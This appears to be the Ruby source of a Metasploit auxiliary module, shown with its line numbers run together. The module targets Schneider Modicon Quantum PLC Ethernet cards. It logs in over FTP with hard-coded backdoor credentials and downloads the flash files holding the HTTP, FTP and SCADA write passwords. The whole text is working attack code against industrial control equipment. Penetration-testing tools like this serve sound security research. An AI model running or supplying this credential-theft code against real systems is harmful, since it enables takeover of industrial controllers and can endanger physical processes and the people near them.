Path: blob/master/modules/auxiliary/admin/scada/modicon_password_recovery.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Ftp7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Schneider Modicon Quantum Password Recovery',14'Description' => %q{15The Schneider Modicon Quantum series of Ethernet cards store usernames and16passwords for the system in files that may be retrieved via backdoor access.1718This module is based on the original 'modiconpass.rb' Basecamp module from19DigitalBond.20},21'Author' => [22'K. Reid Wightman <wightman[at]digitalbond.com>', # original module23'todb' # Metasploit fixups24],25'License' => MSF_LICENSE,26'References' => [27[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]28],29'DisclosureDate' => '2012-01-19',30'Notes' => {31'Stability' => [CRASH_SAFE],32'SideEffects' => [IOC_IN_LOGS],33'Reliability' => []34}35)36)3738register_options(39[40Opt::RPORT(21),41OptString.new('FTPUSER', [true, 'The backdoor account to use for login', 'ftpuser'], fallbacks: ['USERNAME']),42OptString.new('FTPPASS', [true, 'The backdoor password to use for login', 'password'], fallbacks: ['PASSWORD'])43]44)4546register_advanced_options(47[48OptBool.new('RUN_CHECK', [false, 'Check if the device is really a Modicon device', true])49]50)51end5253# Thinking this should be a standard alias for all aux54def ip55Rex::Socket.resolv_to_dotted(datastore['RHOST'])56end5758def check_banner59banner == "220 FTP server ready.\r\n"60end6162# TODO: If the username and password is correct, but this /isn't/ a Modicon63# device, then we're going to end up storing HTTP credentials that are not64# correct. If there's a way to fingerprint the device, it should be done here.65def check66is_modicon = false67vprint_status "#{ip}:#{rport} - FTP - Checking fingerprint"68begin69connect70rescue StandardError71nil72end73if sock74# It's a weak fingerprint, but it's something75is_modicon = check_banner76disconnect77else78vprint_error "#{ip}:#{rport} - FTP - Cannot connect, skipping"79return Exploit::CheckCode::Unknown80end8182if is_modicon83vprint_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint"84return Exploit::CheckCode::Detected85end8687vprint_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch"8889return Exploit::CheckCode::Safe90end9192def run93if datastore['RUN_CHECK'] && (check == Exploit::CheckCode::Detected)94print_status('Service detected.')95grab if setup_ftp_connection96elsif setup_ftp_connection97grab98end99end100101def report_cred(opts)102service_data = {103address: opts[:ip],104port: opts[:port],105service_name: opts[:service_name],106protocol: 'tcp',107workspace_id: myworkspace_id108}109110credential_data = {111origin_type: :service,112module_fullname: fullname,113username: opts[:user],114private_data: opts[:password],115private_type: :password116}.merge(service_data)117118login_data = {119last_attempted_at: Time.now,120core: create_credential(credential_data),121status: Metasploit::Model::Login::Status::SUCCESSFUL,122proof: opts[:proof]123}.merge(service_data)124125create_credential_login(login_data)126end127128def setup_ftp_connection129vprint_status "#{ip}:#{rport} - FTP - Connecting"130conn = connect_login131132unless conn133print_error("#{ip}:#{rport} - FTP - Login failed")134return false135end136137print_good("#{ip}:#{rport} - FTP - Login succeeded")138report_cred(139ip: ip,140port: rport,141user: user,142password: pass,143service_name: 'modicon',144proof: "connect_login: #{conn}"145)146147return true148end149150def cleanup151begin152disconnect153rescue StandardError154nil155end156begin157data_disconnect158rescue StandardError159nil160end161end162163# Echo the Net::FTP implementation164def ftp_gettextfile(fname)165vprint_status("#{ip}:#{rport} - FTP - Opening PASV data socket to download #{fname.inspect}")166data_connect('A')167send_cmd_data(['GET', fname.to_s], nil, 'A')168end169170def grab171logins = Rex::Text::Table.new(172'Header' => 'Schneider Modicon Quantum services, usernames, and passwords',173'Indent' => 1,174'Columns' => ['Service', 'User Name', 'Password']175)176177httpcreds = ftp_gettextfile('/FLASH0/userlist.dat')178if httpcreds179print_status "#{ip}:#{rport} - FTP - HTTP password retrieval: success"180else181print_status "#{ip}:#{rport} - FTP - HTTP default password presumed"182end183184ftpcreds = ftp_gettextfile('/FLASH0/ftp/ftp.ini')185if ftpcreds186print_status "#{ip}:#{rport} - FTP - password retrieval: success"187else188print_error "#{ip}:#{rport} - FTP - password retrieval error"189end190191writecreds = ftp_gettextfile('/FLASH0/rdt/password.rde')192if writecreds193print_status "#{ip}:#{rport} - FTP - Write password retrieval: success"194else195print_error "#{ip}:#{rport} - FTP - Write password error"196end197198if httpcreds199httpuser = httpcreds[1].split(/[\r\n]+/)[0]200httppass = httpcreds[1].split(/[\r\n]+/)[1]201proof = "FTP PASV data socket: #{httpcreds}"202else203# Usual defaults204httpuser = 'USER'205httppass = 'USER'206proof = 'Usual defaults'207end208209print_status("#{rhost}:#{rport} - FTP - Storing HTTP credentials")210logins << ['http', httpuser, httppass]211212report_cred(213ip: ip,214port: rport,215service_name: 'http',216user: httpuser,217password: httppass,218proof: proof219)220221logins << ['scada-write', '', writecreds[1]]222if writecreds # This is like an enable password, used after HTTP authentication.223report_note(224host: ip,225port: 80,226proto: 'tcp',227sname: 'http',228ntype: 'scada.modicon.write-password',229data: { :write_creds => writecreds[1] }230)231end232233if ftpcreds234# TODO:235# Can we add a nicer dictionary? Revershing the hash236# using Metasploit's existing loginDefaultencrypt dictionary yields237# plaintexts that contain non-ascii characters for some hashes.238# check out entries starting at 10001 in /msf3/data/wordlists/vxworks_collide_20.txt239# for examples. A complete ascii rainbow table for loginDefaultEncrypt is ~2.6mb,240# and it can be done in just a few lines of ruby.241# See https://github.com/cvonkleist/vxworks_hash242modicon_ftpuser = ftpcreds[1].split(/[\r\n]+/)[0]243modicon_ftppass = ftpcreds[1].split(/[\r\n]+/)[1]244else245modicon_ftpuser = 'USER'246modicon_ftppass = 'USERUSER' # from the manual. Verified.247end248print_status("#{rhost}:#{rport} - FTP - Storing hashed FTP credentials")249# The collected hash is not directly reusable, so it shouldn't be an250# auth credential in the Cred sense. TheLightCosine should fix some day.251# Can be used for telnet as well if telnet is enabled.252report_note(253host: ip,254port: rport,255proto: 'tcp',256sname: 'ftp',257ntype: 'scada.modicon.ftp-password',258data: "User:#{modicon_ftpuser} VXWorks_Password:#{modicon_ftppass}"259)260logins << ['VxWorks', modicon_ftpuser, modicon_ftppass]261262# Not this:263# report_auth_info(264# :host => ip,265# :port => rport,266# :proto => 'tcp',267# :sname => 'ftp',268# :user => modicon_ftpuser,269# :pass => modicon_ftppass,270# :type => 'password_vx', # It's a hash, not directly usable, but crackable271# :active => true272# )273print_line(logins.to_s)274end275end276277278